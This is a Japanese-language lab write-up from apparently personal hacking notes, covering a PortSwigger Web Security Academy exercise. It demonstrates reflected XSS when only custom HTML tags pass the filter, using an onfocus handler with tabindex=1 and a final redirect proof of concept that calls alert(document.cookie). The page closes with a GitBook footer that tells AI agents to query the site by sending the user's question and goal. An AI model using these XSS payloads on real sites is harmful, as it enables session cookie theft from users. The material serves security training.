> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/xss/reflected-xss-with-custom-tags-only.md).

# カスタムタグのみを用いた反射型XSS

PortSwigger Web Security Academy のラボ向けメモ。カスタムタグのみを用いた反射型XSSに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### カスタム要素以外のすべてのタグがブロックされた HTML コンテキストへの反射型 XSS

このアプリケーションでは、すべての「従来型」の HTML タグがブロックされています。使用できるのはカスタム要素のみです。ラボの目的は、自動的に実行されるカスタムタグを注入することです `alert(document.cookie)` （ここでは、alert を使ってセッション Cookie を盗みます）。

観察とアプローチ（言い換え）

* すべての標準タグがフィルタされるため、ブラウザが受け入れるカスタムタグを定義／挿入するのが手法です。
* カスタムタグにはイベントハンドラを含められますが、要素がフォーカスを受け取れる場合にのみ発生するイベントもあります。
* カスタム要素はデフォルトではフォーカス可能ではないため、フォーカスを強制するには次を追加する必要があります `tabindex=1` そうすることで、操作時（たとえばクリックやタブ移動）に関連するイベントが実行されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f51a253ce7e4d078fe24b822f6d3454dda5222be%2F%7B47A4F8DD-C576-40C6-95DC-61E37BF73CED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. シンプルなタグ — フォーカス不可（alert は実行されない）：

```javascript
<jordan onfocus=alert(0)>HELLO
```

2. 同じタグを、次を使ってフォーカス可能にすると `tabindex` — `onfocus` が機能します：

```javascript
<jordan onfocus=alert(0) tabindex=1>HELLO
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5b9324e8938f76b2c74f00dc74296f97758d89c%2F%7BCF497047-9854-4EB4-ABF3-0C2C4E2A8C28%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

最終的な概念実証（リダイレクトによる情報流出）

* 次の内容を使ってカスタムタグを注入する URL を作成します。 `onfocus` 呼び出し `alert(document.cookie)` そして次の方法でフォーカスを強制します。 `tabindex=1`.
* 被害者に送るペイロードの例（注入部分は次の search `search` パラメータ）:

{% code overflow="wrap" %}

```javascript
<script>
location = 'https://0a07009c03dde34d825bba7b0028004d.web-security-academy.net/?search=%3Cjordan%20id=x%20onfocus=alert(document.cookie)%20tabindex=1%3E#x';
</script>
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/xss/reflected-xss-with-custom-tags-only.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
